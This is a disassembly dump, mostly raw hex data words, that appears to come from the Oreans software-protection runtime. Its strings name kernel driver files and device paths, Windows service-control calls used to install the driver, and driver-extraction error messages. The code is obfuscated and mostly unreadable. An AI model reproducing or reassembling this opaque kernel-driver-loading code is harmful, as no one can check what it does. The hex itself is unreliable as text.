		dd 0F0E38ED0h, 3C34164Ah, 0FF228547h, 0E92345B5h, 0AD8D8B05h
		dd 0F05E907h, 858DF6BFh, 5E939CFh, 0EE07DF81h, 0D0FF39B9h
		dd 606AD680h, 89D08B66h, 0E930D195h, 0B6506105h, 2404892Ch
		dd 0D0C1B966h, 6A006Ah,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 3A0CD4C3h, 0F2ABE2E0h, 46684D68h
		dd 240481B5h, 4AB99833h, 252D958Bh, 0C98105E9h,	62C4CE38h
		dd 8B0F036Ah, 4, 0F1F2B966h, 0C981006Ah, 5C8ACB7Fh, 840F036Ah
		dd 2, 4468AFB1h, 81B7442Eh, 2E442434h, 0BF0F7744h, 329D8DFBh
		dd 9305EBABh, 60505E57h, 14E8h,	0BA35AC00h, 0B823F3CDh
		dd 6692CD4h, 0A20792B7h, 9C8AA9F1h, 0F5250B8h, 58585A31h
		dd 6840Fh, 52500000h, 585A310Fh, 0B70F9361h, 0B6D0FFD6h
		dd 850F40B7h, 2FCh, 409BD8Bh, 858905E9h, 5E91125h, 0C2816058h
		dd 1B2884B2h, 338BD381h, 50617594h, 13860Fh, 0BE80000h
		dd 0FA000000h, 3B9DF7E8h, 0EA43E2C8h, 6160B799h, 2404895Fh
		dd 501958Bh, 0AE805E9h,	0FF000000h, 0E94A85DFh,	0C12607D6h
		dd 7DB58B5Ah, 5A05E901h, 8D8B006Ah, 5E915E5h, 4E8h, 8000h
		dd 50F38B00h, 0E078DDB9h, 24448B37h, 0F88B6604h, 4489008Bh
		dd 52500424h, 6800Fh, 52500000h, 585A310Fh, 0FE8310Fh
		dd 15000000h, 866F578Ch, 0EC93DB13h, 0C6106ED0h, 5A50DAB6h
		dd 58585A5Eh, 28E18166h, 0B9036A5Ah, 1E551F4Eh,	6A006Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 6DADF8C3h, 0F56ED237h, 0BD89036Ah, 5E912A9h,	833EC368h
		dd 8B6660EDh, 9E8FEh, 94430000h, 0CDAFDC96h, 8B595516h
		dd 81615FD9h, 3EC32434h, 0BE662D83h, 9D8D9F3Ah,	5EBAB3Bh
		dd 18C1BD23h, 0F5005E9h, 87h, 241C8900h, 12AD9589h, 0D0FF05E9h
		dd 178DB50Bh, 0F4005E9h, 1CF85h, 793FBF00h, 0F585190h
		dd 8950F0BFh, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 29D1CBC3h, 0E9331995h, 0F8006A05h
		dd 4999533h, 156805E9h,	0F456C70h, 80h,	24348100h, 456C7095h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 23C35242h
		dd 10865A51h, 183E06EEh, 0D4DBD8Bh, 858905E9h, 5E928A9h
		dd 0F180036Ah, 6A006AA9h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 0C826C352h,	6AFED267h
		dd 50006A03h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 770545CBh, 0E8F1BF0Fh, 4, 0C0000000h, 14800Fh
		dd 8E80000h, 0E2000000h, 0CD1C2EACh, 0F9A23B5h,	87h, 0E9505A00h
		dd 0Ah,	90B81B1h, 0F8B33BDEh, 448BF65Fh, 0F78A0424h, 12E9008Bh
		dd 4B000000h, 467A2562h, 0CFC9B029h, 2E7F4525h,	2C4153ADh
		dd 244489C4h, 0D18B6604h, 0D1858958h, 8D05E930h, 0EBAB469Dh
		dd 85895605h, 5E92F89h,	8D0F505Eh, 0Fh,	9E8h, 42E7D100h
		dd 0B100E5F6h
		dd 895E4856h, 8A0F241Ch, 15h, 10E9h, 5B85A00h, 446EBC4Ch
		dd 0A14F9B2h, 4262D6CAh, 99D29E3h, 0FF05E928h, 32BB60D0h
		dd 8917BE90h, 0E9078D85h, 0F406105h, 4B85h, 0EE900h, 56080000h
		dd 4535D941h, 0E796E1CFh, 6B748A71h, 53006A58h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 9D893C46h
		dd 5E90249h, 0BCB96650h, 8FE95E81h, 0F000001h, 38Ah, 0FBBF0F00h
		dd 0B70FD88Bh, 81664BF0h, 584560E1h, 0EE585C6h,	6A4305E9h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 0EEF4C350h, 99239E2h, 29606097h, 0E923598Dh
		dd 61616005h, 19890Fh, 14E90000h, 67000000h, 0A05AC353h
		dd 0DC86DEDAh, 91A8CCFFh, 0CCFB333Ah, 617E7C64h, 4E8h
		dd 764AA700h, 0FDB4BEC0h, 66507E1Fh, 8B31CFBFh,	60042444h
		dd 0E9564CB6h, 8, 0D570B66Ch, 0CF16A764h, 8B6159h, 0FE8B6651h
		dd 2444895Ah, 9E804h, 52B10000h, 5061236Ah, 0BE3A6EDAh
		dd 3A44CF48h, 0B60585Ah, 0E910C985h, 68F0F05h, 29000000h
		dd 0E923C995h, 0B5FF6105h, 5E92345h, 6820Fh, 0CA810000h
		dd 6BE8EF5Bh, 39CF858Dh, 6A05E9h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 30AC0CC3h, 0D0FF4CB5h
		dd 26D9B58Bh, 605005E9h, 9E8h, 3F784500h, 3057F702h, 52504025h
		dd 585A310Fh, 1C89615Eh, 434DBA24h, 0D0FF6029h,	16BDB523h
		dd 9D8D05E9h, 5E972D4h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 2AC35646h, 0C0B9A123h, 0DAE981FFh, 0B81D9344h
		dd 1, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h, 1Ah
		dd 49C35646h, 6B1BA9B0h, 0D181030Ch, 6CAB2D4Bh,	0B966E3FFh
		dd 0C18BF455h, 0AE960h,	11E40000h, 4FCF938Ch, 2DB8B21Dh
		dd 1638BA66h, 0A1958B61h, 8B05E90Fh, 0ABE66C0h,	4DBD83A9h
		dd 5E916h, 0BD830975h, 5E91121h, 50197400h, 0B8C08B53h
		dd 40Fh, 5AD8589h, 9D8D05E9h, 5EBB92Bh,	585BD3FFh, 1121BD83h
		dd 740005E9h, 0B8535017h, 40Fh,	5AD8589h, 9D8D05E9h, 5EBB5CCh
		dd 585BD3FFh, 3089958Bh, 8D8B05E9h, 5E90AC9h, 7E8C08Bh
		dd 0A1000000h, 5CBCBA7Ah, 858BA703h, 5E92451h, 0F7BF0F5Bh
		dd 5F7AC381h, 830F0000h, 0
		dd 0B9h, 85858B00h, 0FF05E91Fh,	0AE91934h, 5A000000h, 0D28146A2h
		dd 4BE24048h, 85295F19h, 5E92215h, 3233F781h, 0B561E77h
		dd 0E92A89B5h, 0EF815805h, 5FD623D1h, 0C781C78Bh, 135FB8B4h
		dd 0B94DE881h, 3C8967D0h, 5B5890Bh, 2905E927h, 0E90D199Dh
		dd 0C5E98105h, 89271499h, 0E9168585h, 0C1C18105h, 0E8271499h
		dd 13h,	38BFD0E3h, 82E380FEh, 0FDAAA401h, 0F392CB96h, 0F14B01Eh
		dd 815AC2B7h, 0FFA16CF9h, 15850FFFh, 0E9000000h, 39h, 5E14ED81h
		dd 0FB698B8Ah, 0A1BF8F72h, 5E49D03Dh, 0EE9h, 7967B500h
		dd 34EE6E46h, 0A2986D74h, 0E9D1A80Ch, 0FFFFFF4Fh, 0FED4B221h
		dd 6A4CAB04h, 7913F1Dh,	267BDBBBh, 0AAE9FDh, 6F530000h
		dd 61777466h, 575C6572h, 694C6E69h, 736E6563h, 68430065h
		dd 496B6365h, 7058004Eh, 45746F72h, 746978h, 63656843h
		dd 54554F6Bh, 6E695700h, 6563694Ch, 5665736Eh, 69737265h
		dd 57006E6Fh, 694C6E69h, 736E6563h, 69724465h, 56726576h
		dd 69737265h, 57006E6Fh, 694C6E69h, 736E6563h, 736E4965h
		dd 636E6174h, 78450065h, 6B4F7469h, 6F725000h, 4E4963h
		dd 636F7250h, 54554Fh, 74697845h, 45004E49h, 4F746978h
		dd 54005455h, 4E4970h, 3 dup(0)
		dd 77DDAF7Fh, 77DD72F0h, 596E9h, 0E7858900h, 8D05EBB3h
		dd 0EBB3E385h, 858D5005h, 5EBB34Dh, 16850h, 95FF8000h
		dd 5EBB3F3h, 0B5FF196Ah, 5EBB3E7h, 6A016Ah, 0B37C858Dh
		dd 0FF5005EBh, 0EBB3E3B5h, 595FF05h, 0FF05E923h, 0EBB3E3B5h
		dd 0EF95FF05h, 0FF05EBB3h, 0EBB3E3B5h, 0B195FF05h, 0C305E90Bh
		dd 0B3E78589h, 858D05EBh, 5EBB3E3h, 4D858D50h, 5005EBB3h
		dd 168h, 0F395FF80h, 6A05EBB3h,	0E7858D04h, 5005EBB3h
		dd 6A046Ah, 0B3A6858Dh,	0FF5005EBh, 0EBB3E3B5h,	595FF05h
		dd 0FF05E923h, 0EBB3E3B5h, 0EF95FF05h, 0FF05EBB3h, 0EBB3E3B5h
		dd 0B195FF05h, 0C305E90Bh, 0B3E78589h, 858D05EBh, 5EBB3E3h
		dd 4D858D50h, 5005EBB3h, 168h, 0F395FF80h, 6A05EBB3h, 0E7858D04h
		dd 5005EBB3h, 6A046Ah, 0B38E858Dh, 0FF5005EBh, 0EBB3E3B5h
		dd 595FF05h, 0FF05E923h, 0EBB3E3B5h, 0EF95FF05h, 0FF05EBB3h
		dd 0EBB3E3B5h, 0B195FF05h, 0C305E90Bh, 0B3E78589h, 858D05EBh
		dd 5EBB3E3h, 4D858D50h,	5005EBB3h, 168h, 0F395FF80h, 6A05EBB3h
		dd 0E7858D04h, 5005EBB3h, 6A046Ah, 0B3B9858Dh, 0FF5005EBh
		dd 0EBB3E3B5h, 595FF05h, 0FF05E923h, 0EBB3E3B5h, 0EF95FF05h
		dd 0FF05EBB3h, 0EBB3E3B5h, 0B195FF05h, 0C305E90Bh, 0B3E78589h
		dd 858D05EBh, 5EBB3E3h,	4D858D50h, 5005EBB3h, 168h, 0F395FF80h
		dd 6A05EBB3h, 0E7858D04h, 5005EBB3h, 6A046Ah, 0B369858Dh
		dd 0FF5005EBh, 0EBB3E3B5h, 595FF05h, 0FF05E923h, 0EBB3E3B5h
		dd 0EF95FF05h, 0FF05EBB3h, 0EBB3E3B5h, 0B195FF05h, 0C305E90Bh
		dd 2FD9BD83h, 0F0005E9h, 0B84h,	0D99D8B00h, 8305E92Fh
		dd 3894CC3h, 0D9BD83C3h, 5E92Fh, 0B840Fh, 9D8B0000h, 5E92FD9h
		dd 8950C383h, 0BD83C303h, 5E92FD9h, 0B840F00h, 8B000000h
		dd 0E92FD99Dh, 54C38305h, 83C30389h, 0E92FD9BDh, 840F0005h
		dd 0Bh,	2FD99D8Bh, 0C38305E9h, 0C3038958h, 2FD9BD83h, 0F0005E9h
		dd 0B84h, 0D99D8B00h, 8305E92Fh, 3895CC3h, 8960C3C3h, 0EBB3E785h
		dd 0E3858D05h, 5005EBB3h, 0B34D858Dh, 685005EBh, 80000001h
		dd 0B3F395FFh, 46A05EBh, 0B3E7858Dh, 6A5005EBh,	8D006A04h
		dd 0EBB3DE85h, 0B5FF5005h, 5EBB3E3h, 230595FFh,	0BD8305E9h
		dd 5E9164Dh, 0C840F00h,	0FF000000h, 0EBB3E3B5h,	0EF95FF05h
		dd 0FF05EBB3h, 0EBB3E3B5h, 0B195FF05h, 6105E90Bh, 858960C3h
		dd 5EBB3E7h, 0B3E3858Dh, 8D5005EBh, 0EBB34D85h,	1685005h
		dd 0FF800000h, 0EBB3F395h, 8D046A05h, 0EBB3E785h, 46A5005h
		dd 858D006Ah, 5EBB3C0h,	0E3B5FF50h, 0FF05EBB3h,	0E9230595h
		dd 4DBD8305h, 5E916h, 0C840Fh, 0B5FF0000h, 5EBB3E3h, 0B3EF95FFh
		dd 0B5FF05EBh, 5EBB3E3h, 0BB195FFh, 0C36105E9h,	0E7858960h
		dd 8D05EBB3h, 0EBB3E385h, 858D5005h, 5EBB34Dh, 16850h
		dd 95FF8000h, 5EBB3F3h,	858D046Ah, 5EBB3E7h, 6A046A50h
		dd 0C7858D00h, 5005EBB3h, 0B3E3B5FFh, 95FF05EBh, 5E92305h
		dd 164DBD83h, 0F0005E9h, 0C84h,	0E3B5FF00h, 0FF05EBB3h
		dd 0EBB3EF95h, 0E3B5FF05h, 0FF05EBB3h, 0E90BB195h, 60C36105h
		dd 0B3E78589h, 858D05EBh, 5EBB3E3h, 4D858D50h, 5005EBB3h
		dd 168h, 0F395FF80h, 6A05EBB3h,	0E7858D04h, 5005EBB3h
		dd 6A046Ah, 0B3CF858Dh,	0FF5005EBh, 0EBB3E3B5h,	595FF05h
		dd 8305E923h, 0E9164DBDh, 840F0005h, 0Ch, 0B3E3B5FFh, 95FF05EBh
		dd 5EBB3EFh, 0B3E3B5FFh, 95FF05EBh, 5E90BB1h, 8960C361h
		dd 0EBB3E785h, 0E3858D05h, 5005EBB3h, 0B34D858Dh, 685005EBh
		dd 80000001h, 0B3F395FFh, 46A05EBh, 0B3E7858Dh,	6A5005EBh
		dd 8D006A04h, 0EBB3D685h, 0B5FF5005h, 5EBB3E3h,	230595FFh
		dd 0BD8305E9h, 5E9164Dh, 0C840F00h, 0FF000000h,	0EBB3E3B5h
		dd 0EF95FF05h, 0FF05EBB3h, 0EBB3E3B5h, 0B195FF05h, 6105E90Bh
		dd 85C760C3h, 5EBB3E7h,	1, 0B3E3858Dh, 8D5005EBh, 0EBB34D85h
		dd 2685005h, 0FF800000h, 0EBB3F395h, 0FC00B05h,	0F84h
		dd 0E785C700h, 5EBB3h, 0E9000000h, 4Dh,	858D046Ah, 5EBB3E7h
		dd 6A046A50h, 61858D00h, 5005EBB3h, 0B3E3B5FFh,	95FF05EBh
		dd 5E92305h, 840FC00Bh,	0Fh, 0B3E785C7h, 5EBh, 0AE90000h
		dd 0C7000000h, 0EBB3E785h, 105h, 0E3B5FF00h, 0FF05EBB3h
		dd 0E90BB195h, 858B6105h, 5EBB3E7h, 858960C3h, 5EBB3E7h
		dd 0B3E3858Dh, 8D5005EBh, 0EBB34D85h, 1685005h,	0FF800000h
		dd 0EBB3F395h, 8D046A05h, 0EBB3E785h, 46A5005h,	858D006Ah
		dd 5EBB361h, 0E3B5FF50h, 0FF05EBB3h, 0E9230595h, 4DBD8305h
		dd 5E916h, 0C840Fh, 0B5FF0000h,	5EBB3E3h, 0B3EF95FFh, 0B5FF05EBh
		dd 5EBB3E3h, 0BB195FFh,	0C36105E9h, 0E7858960h,	8D05EBB3h
		dd 0EBB3E385h, 858D5005h, 5EBB34Dh, 16850h, 95FF8000h
		dd 5EBB3F3h, 858D046Ah,	5EBB3E7h, 6A046A50h, 73858D00h
		dd 5005EBB3h, 0B3E3B5FFh, 95FF05EBh, 5E92305h, 164DBD83h
		dd 0F0005E9h, 0C84h, 0E3B5FF00h, 0FF05EBB3h, 0EBB3EF95h
		dd 0E3B5FF05h, 0FF05EBB3h, 0E90BB195h, 0C6C36105h, 0E90EE585h
		dd 7685205h, 0FFADE47Bh, 0E921D5B5h, 0C595FF05h, 8905E923h
		dd 0EBB3F385h, 0E585C605h, 5205E90Eh, 2E00E568h, 0D5B5FF90h
		dd 0FF05E921h, 0E923C595h, 0EF858905h, 0C605EBB3h, 0E90EE585h
		dd 35685205h, 0FFB9BF12h, 0E921D5B5h, 0C595FF05h, 8905E923h
		dd 0E9230585h, 0E585C605h, 5205E90Eh, 78103468h, 0D5B5FF98h
		dd 0FF05E921h, 0E923C595h, 0B1858905h, 0C605E90Bh, 0E90EE585h
		dd 0D4685205h, 0FFC005DBh, 0E921D5B5h, 0C595FF05h, 8905E923h
		dd 0E91D3985h, 5E805h, 637A0000h, 0E9336C8Eh, 5, 91AC393h
		dd 0E9525EAFh, 8, 9A69D8C2h, 6FF5C946h,	31C68159h, 6600005Ah
		dd 0E020C981h, 800FDB33h, 5, 1AE98166h,	1E3C8B68h, 5E18166h
		dd 9F781CBh, 66001F1Fh,	813EA1B8h, 73EE5AC7h, 3B0CB851h
		dd 0F781675Ch, 610C9CEh, 870Fh,	66570000h, 48FCB8Bh, 0DE91Eh
		dd 502E0000h, 0BCA851E1h, 16CE45AAh, 81AE5E10h,	0A05601D9h
		dd 1EB830Bh, 4B4B4BF5h,	81D0B70Fh, 0FFA694FBh, 18850FFFh
		dd 0E9000000h, 8, 0AAA40182h, 92CB96FDh, 22E9h,	8D036200h
		dd 0F8C1809h, 881h, 2850F00h, 0B0000000h, 0FF77E93Ah, 7DD2FFFFh
		dd 3202B0FCh, 0E9AD6849h, 99h, 6775622Fh, 63656863h, 2F00326Bh
		dd 63677562h, 6B636568h, 6F662F00h, 72656372h, 2F006E75h
		dd 63677562h, 6B636568h, 6C6C7566h, 68732F00h, 6F63776Fh
		dd 2F006564h, 776F6873h, 65646F63h, 632F0032h, 74726Ch
		dd 7369642Fh, 732F0031h, 69776F68h, 6174736Eh, 65636Eh
		dd 7465672Fh, 74736C77h, 73757461h, 6F6C2F00h, 61747367h
		dd 737574h, 6D75642Fh, 61747370h, 737574h, 0
aCheckprotectio	db '/checkprotection',0
		align 10h
		dd 7BBD8300h, 5EBBBh, 0A840Fh, 85C70000h, 5E91121h, 1
		dd 0EE585C6h, 684705E9h, 0C10EE542h, 0CF243481h, 0FF516389h
		dd 0E92345B5h, 0CF858D05h, 0FF05E939h, 8BD0FFD0h, 223F80F8h
		dd 22850Fh, 0B0470000h,	850FAE22h, 0FFFFFFF9h, 0F003F80h
		dd 31884h, 3F804700h, 0E840F00h, 0E9000003h, 1Eh, 0F003F80h
		dd 30084h, 203F8000h, 6850Fh, 0E9470000h, 6, 0FFE2E947h
		dd 3F80FFFFh, 5850F00h,	0E9000000h, 2DDh, 1E9h,	3F804700h
		dd 0F6840F20h, 80FFFFFFh, 850F003Fh, 5,	2C0E9h,	0AE800h
		dd 0CBE90000h, 0E9FFFFFFh, 2B1h, 0BAFBB58Dh, 25E805EBh
		dd 3000002h, 0EBBB90BDh, 90BD8305h, 5EBBBh, 0B840Fh, 85C70000h
		dd 5E9164Dh, 1,	6B58DC3h, 0E805EBBBh, 1FCh, 0BB90BD03h
		dd 0BD8305EBh, 5EBBB90h, 0B840F00h, 0C7000000h,	0E9112185h
		dd 105h, 0B58DC300h, 5EBBB7Fh, 1D3E8h, 90BD0300h, 8305EBBBh
		dd 0EBBB90BDh, 840F0005h, 0Bh, 27D985C7h, 105E9h, 8DC30000h
		dd 0EBBB10B5h, 1AAE805h, 0BD030000h, 5EBBB90h, 0BB90BD83h
		dd 0F0005EBh, 0B84h, 2185C700h,	105E911h, 0C3000000h, 0BB1AB58Dh
		dd 81E805EBh, 3000001h,	0EBBB90BDh, 90BD8305h, 5EBBBh
		dd 15840Fh, 85C70000h, 5E91121h, 1, 164D85C7h, 105E9h
		dd 8DC30000h, 0EBBB28B5h, 14EE805h, 0BD030000h,	5EBBB90h
		dd 0BB90BD83h, 0F0005EBh, 0A84h, 4985C700h, 105E910h, 8D000000h
		dd 0EBBB32B5h, 126E805h, 0BD030000h, 5EBBB90h, 0BB90BD83h
		dd 0F0005EBh, 0A84h, 4985C700h,	105E910h, 8D000000h, 0EBBB3DB5h
		dd 0FEE805h, 0BD030000h, 5EBBB90h, 0BB90BD83h, 0F0005EBh
		dd 0A84h, 0D85C700h, 105E931h, 8D000000h, 0EBBB43B5h, 0D6E805h
		dd 0BD030000h, 5EBBB90h, 0BB90BD83h, 0F0005EBh,	0A84h
		dd 5985C700h, 105E931h,	8D000000h, 0EBBB49B5h, 0AEE805h
		dd 0BD030000h, 5EBBB90h, 0BB90BD83h, 0F0005EBh,	0A84h
		dd 5985C700h, 105E91Fh,	8D000000h, 0EBBB57B5h, 86E805h
		dd 0BD030000h, 5EBBB90h, 0BB90BD83h, 0F0005EBh,	0A84h
		dd 4D85C700h, 105E917h,	8D000000h, 0EBBB64B5h, 5EE805h
		dd 0BD030000h, 5EBBB90h, 0BB90BD83h, 0F0005EBh,	0A84h
		dd 0B185C700h, 105E912h, 8D000000h, 0EBBB6FB5h,	36E805h
		dd 0BD030000h, 5EBBB90h, 0BB90BD83h, 0F0005EBh,	0A84h
		dd 0E585C700h, 105E92Ch, 0E9000000h, 1,	203F8047h, 9840Fh
		dd 3F800000h, 0ED850F00h, 0C3FFFFFFh, 1B960h, 0DE8B0000h
		dd 19E9h, 3F8000h, 2850Fh, 0C92B0000h, 1638178Ah, 2840Fh
		dd 0C92B0000h, 3E804746h, 8840F00h, 0B000000h, 0D6850FC9h
		dd 0BFFFFFFh, 21840FC9h, 80000000h, 840F003Fh, 9, 0F203F80h
		dd 0A85h, 1B900h, 5E90000h, 0B9000000h,	0
		dd 840FC90Bh, 0Dh, 0B589F32Bh, 5EBBB90h, 0AE9h,	9085C700h
		dd 5EBBBh, 61000000h, 0E9C88BC3h, 20Eh,	6E614333h, 20746F6Eh
		dd 74697277h, 726F2065h, 736E6165h, 6478762Eh, 614D0D0Ah
		dd 7320656Bh, 20657275h, 74616874h, 69687420h, 69662073h
		dd 6920656Ch, 6F6E2073h, 65622074h, 20676E69h, 64657375h
		dd 20796220h, 746F6E61h, 20726568h, 676F7270h, 2E6D6172h
		dd 68h dup(0)
aOreans_vxd	db '\Oreans.vxd',0
		dd 2 dup(0)
		dd 0EFE90000h, 0C6000000h, 0E90EE585h, 86684705h, 0FFE3E45Bh
		dd 0E92345B5h, 0CF858D05h, 0FF05E939h, 10468D0h, 9D8D0000h
		dd 5E912C5h, 50D0FF53h,	0C103B58Dh, 0FE8B05EBh,	0FAEC032h
		dd 0FFFFF985h, 8BFE2BFFh, 0FB8B58CFh, 0A4F3F803h, 0EE585C6h
		dd 684305E9h, 0BC8E6EFCh, 2345B5FFh, 858D05E9h,	5E939CFh
		dd 0B58DD0FFh, 5E912C5h, 8068006Ah, 6A000000h, 6A006A02h
		dd 6800h, 0FF56C000h, 0C6D88BD0h, 0E90EE585h, 56685705h
		dd 0FFA69BEEh, 0E92345B5h, 0CF858D05h, 0FF05E939h, 1DBD8DD0h
		dd 8D05E92Bh, 0EBC2298Dh, 57006A05h, 37D068h, 0FF535100h
		dd 0FC085D0h, 1B85h, 0BB58D00h,	8D05EBBFh, 0EBAA9785h
		dd 8DD0FF05h, 0E972D48Dh, 0B805h, 0E1FF0000h, 0EE585C6h
		dd 684305E9h, 0C0764AA7h, 2345B5FFh, 858D05E9h,	5E939CFh
		dd 0FF53D0FFh, 0D0B9C3D0h, 0E8000037h, 0
		dd 0EC08358h, 2E90889h,	8B000000h, 37D0E9C3h, 5A4D0000h
		dd 30090h, 40000h, 0FFFF0000h, 0B80000h, 0
		dd 400000h, 8 dup(0)
		dd 0B00000h, 1F0E0000h,	0B4000EBAh, 0B821CD09h,	21CD4C01h
		dd 73696854h, 6F727020h, 6D617267h, 6E616320h, 20746F6Eh
		dd 72206562h, 69206E75h, 4F44206Eh, 6F6D2053h, 0D2E6564h
		dd 240A0Dh, 0
		dd 175D0000h, 7619DB1Dh, 2 dup(76198873h), 56E58873h, 76188861h
		dd 76198873h, 76188873h, 69528873h, 76196863h, 8873h, 0
		dd 454C0000h, 0
		dd 20000h, 4, 80000000h, 140003h, 4 dup(0)
		dd 2000000h, 1C00000h, 900000h,	0
		dd 7E0000h, 0
		dd 0C40000h, 10000h, 0DC0000h, 3 dup(0)
		dd 12C0000h, 1380000h, 2 dup(0)
		dd 1420000h, 1960000h, 1D20000h, 0
		dd 1D20000h, 0
		dd 10000000h, 140000h, 37C00000h, 100000h, 0Dh dup(0)
		dd 27C00400h, 0
		dd 20450000h, 10000h, 140000h, 434C0000h, 444Fh, 1, 2
		dd 3, 4, 5, 6, 7, 8, 9,	0Ah, 0Bh, 0Ch, 0Dh, 0Eh, 0Fh, 10h
		dd 11h,	12h, 13h, 58080014h, 544F5250h,	445856h, 3010000h
		dd 30001h, 2 dup(0)
		dd 13h dup(7), 3Ch, 180007h, 7276001h, 101AD00h, 70050h
		dd 9B010191h, 6002727h,	79276F01h, 81017D01h, 89018501h
		dd 7018D01h, 1017500h, 72795h, 98010171h, 6B000727h, 27710101h
		dd 360h	dup(0)
		dd 4000000h, 10000h, 50580000h,	56544F52h, 4458h, 8000h
		dd 8 dup(0)
		dd 65760000h, 505072h, 76310000h, 76325273h, 76335273h
		dd 5273h, 9C3h dup(0)
		dd 0E8830000h, 9F8831Bh, 24FF0773h, 85h, 0C3F800h, 8 dup(0)
		dd 33000000h, 0C033C3C0h, 0C7E83C3h, 33047500h,	831AEBC0h
		dd 75010C7Eh, 58D14h, 8B000000h, 789187Eh, 42046C7h, 33000000h
		dd 580CC3C0h, 544F5250h, 5F445856h, 424444h, 0A9E90000h
		dd 41000010h, 50415644h, 2E323349h, 4C4C44h, 6E65704Fh
		dd 614D4353h, 6567616Eh, 43004172h, 74616572h, 72655365h
		dd 65636976h, 74530041h, 53747261h, 69767265h, 416563h
		dd 4E746547h, 76697461h, 73795365h, 496D6574h, 6F666Eh
		dd 6E65704Fh, 76726553h, 41656369h, 6C654400h, 53657465h
		dd 69767265h, 43006563h, 65736F6Ch, 76726553h, 48656369h
		dd 6C646E61h, 6F430065h, 6F72746Eh, 7265536Ch, 65636976h
		dd 8 dup(0)
		dd 65726F00h, 33736E61h, 79732E32h, 73h, 0
		dd 726F0000h, 736E6165h, 2E343678h, 737973h, 2 dup(0)
aOreans32	db 'oreans32',0
a_Oreans32	db '\\.\oreans32',0
a_GlobalOreans3	db '\\.\Global\oreans32',0
aOreansx64	db 'oreansx64',0
a_GlobalOreansx	db '\\.\Global\oreansx64',0
		align 4
		dd 41h dup(0)
		dd 53595300h, 524D4554h, 544F4Fh, 735C7325h, 65747379h
		dd 5C32336Dh, 76697264h, 5C737265h, 25007325h, 79735C73h
		dd 776F7773h, 645C3436h, 65766972h, 255C7372h, 73250073h
		dd 7379735Ch, 336D6574h, 72645C32h, 72657669h, 726F5C73h
		dd 736E6165h, 732E3233h, 7379h,	48h dup(0)
		dd 33000000h, 6E6E6143h, 5520746Fh, 74616470h, 726F2065h
		dd 736E6165h, 7379732Eh, 69726420h, 2E726576h, 656C5020h
		dd 2C657361h, 6B616D20h, 75732065h, 74206572h, 20746168h
		dd 20756F79h, 65766168h, 64610D0Ah, 696E696Dh, 61727473h
		dd 27726F74h, 65702073h, 74696D72h, 68742073h, 69662065h
		dd 20747372h, 656D6974h, 61687420h, 6F792074h, 72612075h
		dd 6F672065h, 20676E69h, 72206F74h, 74206E75h, 20736968h
		dd 676F7270h, 2E6D6172h, 59h dup(0)
		dd 33000000h, 6E6E6143h, 6F20746Fh, 206E6570h, 6165726Fh
		dd 762E736Eh, 64206478h, 65766972h, 4D202E72h, 20656B61h
		dd 65727573h, 61687420h, 726F2074h, 736E6165h, 6478762Eh
		dd 73690D0Ah, 746F6E20h, 65706F20h, 7962206Eh, 6F6E6120h
		dd 72656874h, 6F727020h, 6D617267h, 2Eh, 66h dup(0)
		dd 33000000h, 75636553h, 6E456572h, 656E6967h, 69726420h
		dd 20726576h, 6E6E6163h, 6220746Fh, 70752065h, 65746164h
		dd 65622064h, 73756163h, 68742065h, 20657265h, 20657261h
		dd 656D6F73h, 6F727020h, 6D617267h, 73752073h, 0A676E69h
		dd 2E74690Dh, 756F5920h, 65656E20h, 6F742064h, 6F6C6320h
		dd 74206573h, 65736F68h, 6F727020h, 6D617267h, 726F2073h
		dd 73657220h, 74726174h, 756F7920h, 6F632072h, 7475706Dh
		dd 0A2E7265h, 7365520Dh, 74726174h, 776F6E20h, 3Fh, 0D8h dup(0)
		dd 5C000000h, 4F5C2E5Ch, 6E616572h, 78762E73h, 64h, 2 dup(0)
aSOreans_vxd	db '%s\Oreans.vxd',0
		align 10h
aXprotevent	db 'XprotEvent',0
		align 4
		dd 0Ah dup(0)
		dd 53000000h, 75685365h, 776F6474h, 6972506Eh, 656C6976h
		dd 6567h, 43000000h, 74616572h,	65764565h, 4120746Eh, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 74654700h, 69766E45h
		dd 6D6E6F72h, 56746E65h, 61697261h, 20656C62h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 43536E65h
		dd 616E614Dh, 20726567h, 20495041h, 6F727245h, 68772072h
		dd 20656C69h, 72747865h, 69746361h, 74206E6Fh, 64206568h
		dd 65766972h, 72430072h, 65746165h, 76726553h, 20656369h
		dd 20495041h, 6F727245h, 68772072h, 20656C69h, 72747865h
		dd 69746361h, 74206E6Fh, 64206568h, 65766972h, 6C430072h
		dd 5365736Fh, 69767265h, 61486563h, 656C646Eh, 49504120h
		dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h
		dd 206E6F69h, 20656874h, 76697264h, 4F007265h, 536E6570h
		dd 69767265h, 41206563h, 45204950h, 726F7272h, 69687720h
		dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h
		dd 72657669h, 61745300h, 65537472h, 63697672h, 50412065h
		dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h
		dd 6E6F6974h, 65687420h, 69726420h, 726576h, 43495041h
		dd 72726520h, 203A726Fh, 6E6E6143h, 6620746Fh, 20646E69h
		dd 636F7250h, 6F737365h, 43207372h, 72746E6Fh, 42206C6Fh
		dd 6B636F6Ch, 50202E73h, 7361656Ch, 0D0A2C65h, 746E6F63h
		dd 20746361h, 6F666E69h, 65726F40h, 2E736E61h, 206D6F63h
		dd 20726F66h, 73696874h, 72726520h, 726Fh, 4000000h, 33000001h
